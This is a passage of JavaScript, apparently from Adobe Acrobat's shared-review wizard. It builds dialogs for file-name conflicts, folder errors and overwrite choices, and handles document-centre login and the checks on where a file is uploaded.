					var dcURL = Collab.docCenterURL;

					app.endPriv();

					

					if (dcURL.charAt(dcURL.length - 1) != "/") 

						dcURL += "/";				



			 		this.data.filesToUpload = [];

			 		

			 		// Convert the docList from platform to dipaths

		    		for (var i in this.data.docList)

		    		{

		    			app.beginPriv();

		    			var localPath = Collab.convertPlatformPathToDIPath(this.data.docList[i]);

			    		app.endPriv();

		    			

		    			var uploadName = localPath.substring(localPath.lastIndexOf('/') + 1, localPath.length);

		    			this.data.cDocumentName = uploadName;

						var uploadURL = dcURL + uploadName;

						this.data.distributionURL = uploadURL;



						if (this.data.swConn)

						{

							app.beginPriv();

							var validLocation = !(this.data.swConn.fileExists(uploadURL));

							app.endPriv();

							

							//Don't go ahead till the validLocation is true

							while (!validLocation)

							{

								var fileErrorDesc = IWShowFileError(this.data, true);

					

								app.beginPriv();

								var result = app.execDialog(fileErrorDesc);

								app.endPriv();

								

								if (result == "ok")

								{

									if (this.data.doOverwrite)

									{

										validLocation = true;

									}

									else

									{

										app.beginPriv();

										validLocation = !(this.data.swConn.fileExists(this.data.distributionURL));

										app.endPriv();

									}

									

									if (validLocation)

										uploadName = this.data.distributionURL.substring(this.data.distributionURL.lastIndexOf('/') + 1, this.data.distributionURL.length);

								}

								else

								{

									//TODO: dikumar Exit here? SURE?

									if (result == "cancel")

									{

										//TODO dikumar: why do this

										validLocation = true;

										DebugThrow ("Exit the wizard\n");

									}

									return;	

								}

							}

							

							var fileProps = 

							{

								localPath : localPath,

								uploadName : uploadName,

								uploadResult : -1,

							}

							

							ANDumpObj(fileProps);

							

				    		this.data.filesToUpload[this.data.filesToUpload.length] = fileProps;

						} 

		    		}

				}

				else

				{

				}

//				DebugPrintln("this.data.docPath"+this.data.docPath);

//				DebugPrintln("this.data.docFS"+this.data.docFS);

//				DebugPrintln("this.data.doc.path"+this.data.doc.path);

			},

			description: [

				{

					type:"view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					margin_height: Collab.marginHeight,

					margin_width: Collab.wizardMarginWidth, 

					align_children: "align_left",

					alignment: "align_fill",

					elements:

					[

						{

							type: "view",

							align_children: "align_row",

							alignment: "align_fill",

							elements:

							[

								{

									type: "static_text",

									name: SharedString("IDS_SHARED_REVIEW_BROWSE_DOC_STEP_HEADING"+WT),

									item_id: "hdng",

									font: "dialog",

									bold: true,

								},

								{

									type: "gap",

									alignment: "align_fill",

								},

								{

									type: "button",

									name: SharedString("IDS_SHARE_FILE_MORE_FILES"+WT),

									item_id: "sMor",

								},

								{

									type: "button",

									name: AnnotsString.IDS_DELETE,

									item_id: "sDel",

								},

							]

						},

						{

							type: "view",

							alignment: "align_fill",

							elements:

							[

								{

									type: "list_box",

									item_id: "fils",

									height: 200,

									alignment: "align_fill",

								},

								{

									type: "gap",

									height: 30,

								},

								

								{

									type: "static_text",

									name: "",

									alignment: "align_fill",

									separator: 1,

								},

								

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_center",

									elements:

									[

										{

											type: "image",

											item_id:"icn1",

											width: 32,

											height: 32

										},

										{

											type: "view",

											align_children: "align_left",

											//alignment: "align_fill",

											elements:

											[

												{

													type: "static_text",

													name: SharedString("IDS_SHARE_FILE_TIP_DESC"+WT),

												},

												{

													type: "link_text",

													item_id: "link",

													name: AnnotsString.IDS_SHARE_FILE_UNSUPPORTED_FILE_TYPES,

												}

											]

										}

									]

								}

							]

						},

					]

				}

			]

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}





	function IWUploadFileError_UniqueFilenameDialog (filesWithSameFileName)

	{



		var description = 

		{

			initialize: function(dialog)

			{

				var toLoad = {};

				var sameFileNameList = {}



				for (var i in filesWithSameFileName)

				{

					app.beginPriv();

					var docPlatformPath = Collab.convertDIPathToPlatformPath(filesWithSameFileName[i]);

					app.endPriv();



					sameFileNameList[docPlatformPath] = -i;

				}

			

				DebugPrintln("sameFileNameList to be displayed")

				ANDumpObj(sameFileNameList);

				

				toLoad.list = sameFileNameList;

				dialog.load(toLoad);

			},



			commit: function(dialog)

			{

			},



			description: 

			{

				name: SharedString("IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE"+WT),

				align_children: "align_left",

				alignment: "align_fill",

				margin_width: 0,

				margin_height: 0,

				

				elements:

				[

					{

						type:"group",

						elements:

						[

							{

								type: "view",

								align_children: "align_left",

								alignment: "align_fill",

								item_id: "mgrp",

								back_color: "dialogBackground", 

								gradient_direction: "topToBottom", 

								gradient_type: "darkToLight",

								margin_width: Collab.wizardMarginWidth,

								margin_height: Collab.wizardMarginWidth,

								elements:

								[

									{

										type: "static_text",

										width: 450,

										wrap_name: true,

										name: AnnotsString.IDS_SHARE_FILE_ERROR_UNIQUE_FILE_NAME,

										item_id: "txt0",

									},

									{

										type: "list_box",

										item_id: "list",

										alignment: "align_fill",

										height: 170,

										width: 450,

									},

									{

										type: "ok",

									}

								]

							}

						]

					}

				]

			}

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	};



	function getFS (url)

	{

		if(url.match(/^\\\\/) || url.match(/^.+:\\/)) // really a windows path

			return fileSystem['default'];

		else if(url.match(/^file:\/\//) || url.match(/^smb:\/\//)) // SMB URL

			return fileSystem['default'];

		else return fileSystem.WebDAV;

	}

	

	function IWShowFileError (data, bIsRemote)

	{

		var filePathFromSaveAsDialog = "";

		bIsRemote: bIsRemote;



		var dontShowOverWriteOption = false;



		//on mac: if the review type is shared review, and server type is SMB, and remote is true, then dontShowOverWriteOption = true (always)

		//on win: dontShowOverWriteOption = true (only if the file is read-only and this is valid for both local or remote)

		if (data.reviewType == "SharedReview")

		{

			if (app.platform == "WIN")

			{

				if ((data.server.URL != "urn://ns.adobe.com/Collaboration/SharedReview/SMB") && (bIsRemote))

					dontShowOverWriteOption = false;

				else

				{

					app.beginPriv();  

					dontShowOverWriteOption = Collab.isDocReadOnly(bIsRemote ? ANSMBURLToPlatformPath(data.distributionURL) : data.cDocumentPath);

					app.endPriv();

				}

			}

			else if (app.platform == "MAC")

			{

				if ((data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/SMB") && bIsRemote)

					dontShowOverWriteOption = true

			}

		}



		//if the file for which we are showing this dialog is alread opened in Acrobat then dont show the overwrite option		

		if (!dontShowOverWriteOption && !bIsRemote && (data.reviewType == "SharedReview") )

		{

			app.beginPriv();

			var docs = app.activeDocs;

			app.endPriv();



			for(var i in docs)

			{

				if (dontShowOverWriteOption == true)

					break;

					

				var doc = docs[i];

				if (data.cDocumentPath.toLowerCase() == doc.path.toLowerCase())

					dontShowOverWriteOption = true;

			}

		}



		var radioButton = "";

		radioButton = (dontShowOverWriteOption) ? 

			[

				{

					type: "static_text",

					item_id: "aNam",

					name: (bIsRemote) ? AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_ALTERNATE_NAME : AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_ALTERNATE_LOCATION_NAME,

				},

				{

					type: "view",

					alignment: "align_fill",

					align_children: "align_row",

					elements:

					[

						{

							type: "edit_text",

							alignment: "align_fill",

							item_id: "fnam",

                            readonly: app.isProtectedModeEnabled,

						},

						{

							type: "button",

							name: AnnotsString.IDS_BROWSE,

							item_id: "brws",

						},

					]

				},

				{

					type: "radio",

					item_id: "ovwt",

					group_id: "optn",

					name: (data.UseDocumentCenter && bIsRemote) ? AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_DUPLICATE_EXISTING : AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_OVERWRITE_EXISTING,

				},

			]

		:

			[

				{

					type: "radio",

					item_id: "aNam",

					group_id: "optn",

					name: (bIsRemote) ? AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_ALTERNATE_NAME : AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_ALTERNATE_LOCATION_NAME,

				},

				{

					type: "view",

					alignment: "align_fill",

					align_children: "align_row",

					elements:

					[

						{

							type: "gap",

							width: 7,

						},

						{

							type: "edit_text",

							alignment: "align_fill",

							item_id: "fnam",

                            readonly: app.isProtectedModeEnabled,

						},

						{

							type: "button",

							name: AnnotsString.IDS_BROWSE,

							item_id: "brws",

						},

					]

				},

				{

					type: "radio",

					item_id: "ovwt",

					group_id: "optn",

					name: (data.UseDocumentCenter && bIsRemote) ? AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_DUPLICATE_EXISTING : AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_OVERWRITE_EXISTING,

				},

			]



		var description = 

		{

			initialize: function(dialog)

			{

				var toShow = {};

				var toLoad = {};

				var loc;

				var msg0;

				

				data.overwriteIsImplicit = false;

				

				if (dontShowOverWriteOption)

				{

					toShow.ovwt = false

				}

				

				if (!bIsRemote)

				{

					app.beginPriv();

					loc = Collab.convertDIPathToPlatformPath(data.cDocumentPath);

					app.endPriv();

					msg0 = SharedString("IDS_SHARED_REVIEW_FILE_ERROR"+WT);

					msg0 = msg0.replace(/%proposed_filename%/, data.cDocumentName);

					msg0 = msg0.replace(/%location%/, AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_MSG_LOCAL);

					toLoad.txt0 = msg0;

					toLoad.fnam = loc;

				}

				else

				{

					loc = ANSMBURLToPlatformPath(data.distributionURL);

					toShow.brws = false;

					msg0 = (data.reviewType == "ShareFile") ? AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_SR: SharedString("IDS_SHARED_REVIEW_FILE_ERROR"+WT) ;

					msg0 = msg0.replace(/%proposed_filename%/, data.cDocumentName);

					if (data.UseDocumentCenter)

					{

						msg0 = msg0.replace(/%location%/, AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_MSG_DC);						

					}

					else

					{

						switch (data.serverType)

						{

							case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME:

							{

								msg0 = msg0.replace(/%location%/, AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_MSG_SMB);

								break;

							}

							case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

							{

								msg0 = msg0.replace(/%location%/, AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_MSG_SPF);

								break;

							}

							case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

							{

								msg0 = msg0.replace(/%location%/, AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_MSG_WD);

								break;							

							} 

						}

					}

					toLoad.txt0 = msg0;

					//toLoad.aNam = AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_ALTERNATE_NAME;

					

					toLoad.fnam = data.distributionURL.substring(data.distributionURL.lastIndexOf('/') + 1, data.distributionURL.length);

				}

				

				if (!dontShowOverWriteOption)

					toLoad.aNam = true;



				

				dialog.load(toLoad);

				dialog.visible(toShow);

			},



			idle: function(dialog)

			{

				if ((dialog.store()['fnam'] == "") && (dialog.store()['aNam']))

					dialog.enable({ok: false});

				else

					dialog.enable({ok: true});

			},



			checkExtension: function(url)

			{

				if (data.reviewType == "ShareFile")//We dont neccessarily have a PDF in share/upload file

					return url;

					

				// no .pdf ending? add it

				if(!url.match(/\.pdf$/i))

				{

					if(url.match(/\.$/))

						url += "pdf";

					else

						url += ".pdf";

				}

				return url;

			},

			

			commit: function(dialog)

			{

				if (dialog.store()['ovwt'])

				{

					data.doOverwrite = true;

				}

				else

				{

					data.doOverwrite = false;

					if (!bIsRemote)

					{

						var aPath = dialog.store()['fnam'];

						var newDocumentPath = this.checkExtension(aPath);

								

						//incasae the user specified a filename, prefix it with the original directory name

						if (( (app.platform == "WIN") && (newDocumentPath.indexOf("/") == -1) && (newDocumentPath.indexOf("\\") == -1))

						|| 

							((app.platform == "MAC") && (newDocumentPath.indexOf(":") == -1)))

						{

							newDocumentPath = data.cDocumentPath.substring(0,data.cDocumentPath.lastIndexOf('/')+1) + newDocumentPath;

						}

						else

						{

							app.beginPriv();

							newDocumentPath = Collab.convertPlatformPathToDIPath(newDocumentPath);

							app.endPriv();

						}

						data.cDocumentPath = newDocumentPath;

						data.cDocumentName = data.cDocumentPath.substring(data.cDocumentPath.lastIndexOf('/') + 1, data.cDocumentPath.length);

						

						if (data.cDocumentPath == filePathFromSaveAsDialog)

						{

							data.overwriteIsImplicit = true;

							data.doOverwrite = true;

						}

					}

					else

					{

						app.beginPriv();

						var newRemoteDocumentName = (dialog.store()['fnam']);

						app.endPriv();

						

						var newDistributionURL = data.distributionURL.substr(0, data.distributionURL.lastIndexOf('/')+1) + newRemoteDocumentName;

						data.cDocumentName = newRemoteDocumentName;

						data.distributionURL = this.checkExtension(newDistributionURL);

					}

				}

			},

			

			aNam: function(dialog)

			{

				var toEnable = {};

				toEnable.fnam = true;

				toEnable.brws = true;

				dialog.enable(toEnable);

			},



			ovwt: function(dialog)

			{

				var toEnable = {};

				toEnable.fnam = false;

				toEnable.brws = false;

				dialog.enable(toEnable);

			},

			

			brws: function(dialog)

			{

				if (!bIsRemote)

				{

					var browseProps = 

					{

						bSave: true,

						cFilenameInit: data.cDocumentName, 

						bUnicode: true,

					}



					app.beginPriv();

					var p = app.browseForDoc(browseProps);

					app.endPriv();

					

					if (p)

					{

						app.beginPriv();

						dialog.load({"fnam": Collab.convertDIPathToPlatformPath(p.cPath)});

						app.endPriv();

						filePathFromSaveAsDialog = p.cPath  

					}

				}

			},

				



			description: 

			{

				name: (data.reviewType == "ShareFile") ? SharedString("IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE"+WT) : SharedString("IDS_SHARED_REVIEW_WIZARD_TITLE"+WT),

				align_children: "align_left",

				alignment: "align_fill",

				margin_width: 0,

				margin_height: 0,

				

				elements:

				[

					{

						type:"group",

						elements:

						[

							{

								type: "view",

								align_children: "align_left",

								alignment: "align_fill",

								item_id: "mgrp",

								back_color: "dialogBackground", 

								gradient_direction: "topToBottom", 

								gradient_type: "darkToLight",

								margin_width: Collab.wizardMarginWidth,

								margin_height: Collab.wizardMarginWidth,

								elements:

								[

									{

										type: "view",

										align_children: "align_left",

										alignment: "align_fill",

										width: 500,

										elements:

										[

											{

												type: "static_text",

												alignment: "align_fill",

												width: 600,

												wrap_name: true,

												name: AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_SR,

												item_id: "txt0",

											},

										]

									},

									{

										type: "view",

										align_children: "align_left",

										alignment: "align_fill",

										width: 500,

										elements: radioButton,

									},

									{

										type: "ok_cancel",

										ok_name: AnnotsString.IDS_CONTINUE,

										cancel_name: AnnotsString.IDS_CANCEL,

									}

								]

							}

						]

					}

				]

			}

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	};





	function IWShowLocalFolderError (data )

	{   

		var description = 

		{

			initialize: function(dialog)

			{

				var toShow = {};

				var toLoad = {};

				var loc;

				data.overwriteIsImplicit = false;

				var msg0;

				{

					app.beginPriv();

					loc = Collab.convertDIPathToPlatformPath(data.cDocumentPath);

					app.endPriv();

					toLoad.fnam = loc;

				}

				

				dialog.load(toLoad);

				dialog.visible(toShow);

			},



			idle: function(dialog)

			{

				if (dialog.store()['fnam'] == "")

					dialog.enable({ok: false});

				else

					dialog.enable({ok: true});

			},



			checkExtension_DocumentName: function(aPath)

			{

				// no .pdf ending? Implies this is a folder path. 

				if(!aPath.match(/\.pdf$/i))

				{

					//add a / at the end

					if (aPath.charAt(aPath.length - 1) != "/")

						aPath += "/"; 



					//add the document name

					aPath += data.cDocumentName;

				}

				return aPath;

			},

			

			commit: function(dialog)

			{

				app.beginPriv();

				var aPath = Collab.convertPlatformPathToDIPath(dialog.store()['fnam']);

				app.endPriv();

				

				if ((aPath != "") && (aPath != undefined))

				{

					data.cDocumentPath = this.checkExtension_DocumentName(aPath);

					data.cDocumentName = data.cDocumentPath.substring(data.cDocumentPath.lastIndexOf('/') + 1, data.cDocumentPath.length);



					if (data.cDocumentPath == filePathFromSaveAsDialog)

					{

						data.overwriteIsImplicit = true;

						data.doOverwrite = true;

					}

				}

			},

			

			brws: function(dialog)

			{

				var browseProps = 

				{

					bSave: true,

					cFilenameInit: data.cDocumentName, 

					bUnicode: true,

				}



				app.beginPriv();

				var p = app.browseForDoc(browseProps);

				app.endPriv();

				

				if (p)

				{

					app.beginPriv();

					dialog.load({"fnam": Collab.convertDIPathToPlatformPath(p.cPath)});

					app.endPriv();

					filePathFromSaveAsDialog = p.cPath  

				}

			},



			description: 

			{

				name: SharedString("IDS_SHARED_REVIEW_WIZARD_TITLE"+WT),

				align_children: "align_left",

				alignment: "align_fill",

				margin_width: 0,

				margin_height: 0,

				

				elements:

				[

					{

						type:"group",

						elements:

						[

							{

								type: "view",

								align_children: "align_left",

								alignment: "align_fill",

								item_id: "mgrp",

								back_color: "dialogBackground", 

								gradient_direction: "topToBottom", 

								gradient_type: "darkToLight",

								margin_width: Collab.wizardMarginWidth,

								margin_height: Collab.wizardMarginWidth,

								elements:

								[

									{

										type: "view",

										align_children: "align_left",

										alignment: "align_fill",

										width: 500,

										elements:

										[

											{

												type: "static_text",

												width: 420,

												wrap_name: true,

												name: AnnotsString.IDS_SHARED_REVIEW_LOCAL_FOLDER_ERROR,

											},

										]

									},

									{

										type: "view",

										align_children: "align_left",

										alignment: "align_fill",

										width: 500,

										elements:

										[

											{

												type: "static_text",

												name: AnnotsString.IDS_SHARED_REVIEW_LOCAL_FOLDER_ERROR_ENTER_VALID_LOCATION,

											},

											{

												type: "view",

												alignment: "align_fill",

												align_children: "align_row",

												elements:

												[

													{

														type: "edit_text",

														alignment: "align_fill",

														item_id: "fnam",

                                                        readonly: app.isProtectedModeEnabled,

													},

													{

														type: "button",

														name: AnnotsString.IDS_BROWSE,

														item_id: "brws",

													},

												]

											},

										]

									},

									{

										type: "ok_cancel",

										ok_name: AnnotsString.IDS_CONTINUE,

										cancel_name: AnnotsString.IDS_CANCEL,

									}

								]

							}

						]

					}

				]

			}

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	};



	function IWShowFolderError (data, bIsRemote)

	{

		bIsRemote: bIsRemote;

		var description = 

		{

			initialize: function(dialog)

			{

				var toShow = {};

				var toLoad = {};

				var loc;

				var msg0;

				if (!bIsRemote)

				{

					loc = data.cDocumentPath.substr(0, data.cDocumentPath.lastIndexOf('/') + 1);

					

					app.beginPriv();

					loc = Collab.convertDIPathToPlatformPath(loc);

					app.endPriv();

					

					//loc = loc.substring(0, loc.lastIndexOf('\\') + 1); 

					toShow.orig = false;

					toShow.aNte = false;

					msg0 = SharedString("IDS_SHARED_REVIEW_FILE_ERROR_LOCAL"+WT);

					msg0 = msg0.replace(/%proposed_filename%/, data.cDocumentName);

					toLoad.txt0 = msg0;

				}

				

				toLoad.fnam = loc;

				dialog.load(toLoad);

				dialog.visible(toShow);

			},



			idle: function(dialog)

			{

				return;

			},

			

			commit: function(dialog)

			{

				if (!bIsRemote)

				{

					app.beginPriv();

					var folderURI = Collab.convertPlatformPathToDIPath(dialog.store()['fnam']);

					app.endPriv();

					

					if ((folderURI != "") && (folderURI != undefined))

					{

						if (folderURI.charAt(folderURI.length - 1) != "/") 

									folderURI += "/";

						data.cDocumentPath = folderURI;

						data.cDocumentPath = data.cDocumentPath + data.cDocumentName;

						//data.cDocumentName = data.cDocumentPath.substring(data.cDocumentPath.lastIndexOf('/') + 1, data.cDocumentPath.length);

					}

				}

				else

				{

					data.distributionURL = dialog.store()['fnam'];

				}

			},



			brws: function(dialog)

			{

				if (!bIsRemote)

				{

					var browseProps = 

					{

						cFilenameInit: data.cDocumentName, 

						bUnicode: true,

					}

					try

					{

						DebugAlert("trying browse");

						app.beginPriv();

						var folderURI = Collab.browseForFolder();

						app.endPriv();

						DebugAlert("1" + folderURI);

						if (folderURI && folderURI.length > 0) 

						{

							if (folderURI.charAt(folderURI.length - 1) != "/") 

								folderURI += "/";

						}

						DebugAlert("2" + folderURI);

						app.beginPriv();

						dialog.load({"fnam":Collab.convertDIPathToPlatformPath(folderURI)});

						app.endPriv();			

					}

					catch (e)

					{

						if (e.message == "Volume Mount Exception")

						{

							var errMsg;

							switch (Number(e.errorCode))

							{

								case 1:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_TYPE_ERROR;

									break;

								case 3:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_MOUNT_ERROR;

									break;

								default:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_ERROR;

									break;

							}

	

							app.beginPriv();

							app.alert(errMsg);

							app.endPriv();

							DebugThrow ("VolMountError");

						}

					}

				}

			},

				

			description: {

				name: SharedString("IDS_SHARED_REVIEW_WIZARD_TITLE"+WT),

				align_children: "align_left",

				alignment: "align_fill",

				elements:

				[

					{

						type:"group",

						elements:

						[

							{

								type: "view",

								align_children: "align_left",

								elements:

								[

									{

										type: "static_text",

										alignment: "align_fill",

										width: Collab.wizardWidth,

										wrap_name: true,

										name: SharedString("IDS_SHARED_REVIEW_FILE_ERROR_LOCAL"+WT),

										item_id: "txt0",

									},

		

									{

										type: "static_text",

										alignment: "align_fill",

										name: SharedString("IDS_SHARED_REVIEW_FILE_ERROR_LOCAL_LOCATION"+WT),

										item_id: "txt1",

									},

		

									{

										type: "view",

										alignment: "align_fill",

										align_children: "align_row",

										elements:

										[

											{

												type: "edit_text",

												alignment: "align_fill",

												item_id: "fnam",

											},

											{

												type: "button",

												name: AnnotsString.IDS_BROWSE,

												item_id: "brws",

											},

										]

									},

									{

										type: "static_text",

										alignment: "align_fill",

										name: AnnotsString.IDS_SHARED_REVIEW_FILE_ERROR_REMOTE_ORIGINAL_LOCATION,

										item_id: "orig",

									},

									{

										type: "static_text",

										alignment: "align_fill",

										name: SharedString("IDS_SHARED_REVIEW_FILE_ERROR_REMOTE_NOTE"+WT),

										item_id: "aNte",

									},

		

								]

							},

							{

								type: "ok_cancel",

								ok_name: AnnotsString.IDS_CONTINUE,

								cancel_name: AnnotsString.IDS_CANCEL,

							}

						]

					}

				]

			}

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	};



function getnextnumber(currentNumber)

{

	var nextNumber = currentNumber  + 1;

	

	if(nextNumber < 10)

		nextNumber = "_000" + nextNumber;

	else

	if(nextNumber < 100)

		nextNumber = "_00" + nextNumber;

	else

	if(nextNumber < 1000)

		nextNumber = "_0" + nextNumber;

	else

		nextNumber = "_" + nextNumber;

		

	return nextNumber;

}



var filesAtDocCenter = null;



function populateFilesAtDocCenter(data, filename)

{

	var beginwith = "";

	beginwith = filename.replace(/.pdf$/i, "");

	DebugAlert("populateFilesAtDocCenter filename :" + filename);



	if(data.swConn)

	{

		app.beginPriv();

		var reg = "^" + beginwith + ".*\\.pdf$";

		filesAtDocCenter = data.swConn.getMatchingFiles(reg);

		DebugAlert(filesAtDocCenter);



	    app.endPriv();

	}



}



function isValidSaveLocationAtDocCtr(filename)

{

	for(file in filesAtDocCenter)

	{

		DebugAlert("file :" + file + ", filename :" + filename)

		

		// fix for bug 1726757 ; case insensitive comparisons for the file present on Acrobat.com as Acrobat.com is case insensitive

		if(filesAtDocCenter[file].toLowerCase()  == filename.toLowerCase())

			return false;		

	}

    

    return true;

}



// bShowProgressMonitor: boolean

// 			true: if a progress monitor should be shown while authentication is being done

//			false: if the progress monitor should not be shown

function SilentDocCenterLogin (data, connectParams)

{

	var isFirstLaunch = false;

	app.beginPriv()

	isFirstLaunch = Collab.isFirstLaunch(data.WT);

	app.endPriv();

	

	app.beginPriv();

	data.user = Collab.getUserIDFromStore();

	app.endPriv();

	

	if(isFirstLaunch)

	{

		data.isFirstLaunch = true;

		return false;

	}

	if(data.reviewType == "SharedReview" || data.reviewType == "FormDistribution")

	{

        var addStringToPayloadParams = {};

	    addStringToPayloadParams.name = "Authentication_Successful";

	}

	try 

	{

	    app.beginPriv();

	    swConn = Collab.swConnect(connectParams/*{bShowProgressMonitor: bShowProgressMonitor}*/);

	    app.endPriv();

	    if (swConn)

	    {

	    	data.swConn = swConn;  

			

	    	app.beginPriv();

	    	shareIdentity.Email = data.user;

	    	shareIdentity.FullName = data.swConn.getFullName();

	    	shareIdentity.Authenticated = true;

	    	app.endPriv();

	    	if(data.reviewType == "SharedReview" || data.reviewType == "FormDistribution")

	    	{

	    	    addStringToPayloadParams.val = "True";

    		                    

			    app.beginPriv();

			    Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

			    app.endPriv();

	    	}

	    	return true;

	    }

	    else

	    {

	        if(data.reviewType == "SharedReview" || data.reviewType == "FormDistribution")

	    	{

	    	    addStringToPayloadParams.val = "False";

    		                    

			    app.beginPriv();

			    Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

			    app.endPriv();

	    	}

	    	return false;

	    }

	}

	catch(e)

	{

	    	if(data.reviewType == "SharedReview" || data.reviewType == "FormDistribution")

	    	{

	    	    addStringToPayloadParams.val = "False";

    		                    

			    app.beginPriv();

			    Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

			    app.endPriv();

	    	}

		ANDumpObj(e);

		if (e.errorCode == 403 || e.errorCode == 401)

		{

			data.authStatus = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD;

		}

		else if (e.errorCode == 402)     // terms of usage not accepted

		{

		    // TODO: need a different string for this

			data.authStatus = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD;

		}

		else if (e.errorCode == 405)     // account not verified (grace period expired)

		{

			data.authStatus = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_REQUEST_EXPIRED;

		}

		else if (e.errorCode == 0 || e.errorCode >= 400)    // interpret all other errors as a server connection problem

		{

			data.authStatus = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_CANNOT_CONNECT;

		}

		return false;

	}

	

}

longFileName = app.trustPropagatorFunction(function(data)

	{

	    /* Creating a dummy foldername on server + reviewId + attachment to check if these can be created or not*/

	    var cDefaultLink = data.server.Settings.cSetting;

        if (cDefaultLink.charAt(cDefaultLink.length - 1) != "/") 

            cDefaultLink += "/";

        var cURL = cDefaultLink + getAsciiSafeDocName(data.cDocumentName);

        cURL += "__" +data.reviewID + "_attachments"+"_0-05ac777c-f1ef-4ab3-80c8-9114025d1c89_bin";

        //260 is hard-coded here because of windows limitation of not being able to create folder name with path length greater than 260

        //we should update this if this limitation is changed. 

	    if(cURL.length >= 260)

	    {

	         app.beginPriv();

		     app.alert(AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_LONG_FILENAME);

		     app.endPriv();

		     DebugThrow ("BadLocation");

	    }

	});

	

	function getAsciiSafeDocName(docName)

	{

		var result = docName;

		var escaped = escape(docName);

		if (escaped != docName)

		{

			 result = escaped.replace(/\%u/g, '');

			 result = result.replace(/\%([0-9A-F][0-9A-F])/g, "00$1");

		}

		return result;

	}

function DistributionServerStepCommitWork (data)

{	

	if((data.reviewType == "FormDistribution" || data.reviewType == "FormDistributionEmail") && data.server != undefined && data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/Email" || data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/InternalServer")

	{

		;  //do nothing;

			// as in the case of email based distribution the registery would have "EMAIL" as the distribution method 

			// so in the case of manual distribution this will incorrectly set the distribution method as EMAIL

	}

	else

	{

	    data.distributionFS = getFS(data.server.Settings.cSetting);

		data.distributionMethod = data.server.DistMethod;

	}



	//data.serverType

	if (data.serverType == undefined)

	{

		for (var i in data.drivers)

		{

			if (i ==  data.server.URL)

			{

				data.serverType = data.drivers[i].initiatorName;

			}

		} 

	}



	data.cDocumentName = data.cDocumentName;



    //Fix for bug4166550

	if (data.distributionMethod == "UPLOAD" || (data.reviewType == "SharedReview" && data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint"))

	{

	    var cDefaultLink = data.server.Settings.cSetting;

	    if (cDefaultLink.charAt(cDefaultLink.length - 1) != "/")

	        cDefaultLink += "/";

	    cDefaultLink += data.cDocumentName;

	    data.distributionURL = cDefaultLink;

	}

	//Check whether the location where the file will be uploaded remotely is valid or not

	if(data.reviewType == "SharedReview")

	{

	    if((data.distributionMethod == "EMAIL" || data.distributionMethod == "MANUAL" ) && !data.UseDocumentCenter)

	    {

	        if((data.reviewType == "SharedReview") && (data.serverType == AnnotsString.IDS_SHARED_REVIEW_SMB_NAME))

			{

				app.beginPriv();

				longFileName(data);

				app.endPriv();

			}

	    }

	    if (data.distributionMethod == "UPLOAD" || data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint")

		{

			if (!data.UseDocumentCenter)

			{

				var locationProps = {};

				var validLocation = false;

	

				// if the distribution FS is CHTTP then just use the destination path as is;

				// otherwise convert the path to a DI path.

				if (data.distributionFS == "CHTTP")

				{

				    if (data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint") //Fix for bug4130524 (In case of sharepoint, we should use CSPFileSys as CHTTPFileSys does not support Form based authentication)

				        locationProps.cFS = "CSP";

				    else if (data.server.Settings.bUseWindowsIntegratedAuthentication)

						locationProps.cFS = "CSSO";

					else

						locationProps.cFS = "CHTTP";

					locationProps.cFilePath = data.distributionURL;

				}

				else

				{

					app.beginPriv();

					locationProps.cFilePath = Collab.uriToDIPath(encodeURIComponent(data.distributionURL));

					app.endPriv();

					locationProps.cFS = data.distributionFS;

				}	

				

				locationProps.cDisplay = ANSMBURLToPlatformPath(data.distributionURL);

				locationProps.cPath = locationProps.cFilePath;

				var errorSameLocation = false;

				try 

				{ 

					app.beginPriv();

					

					validLocation = Collab.isPathWritable(locationProps) &&

					                 app.isValidSaveLocation(locationProps);

					app.endPriv();

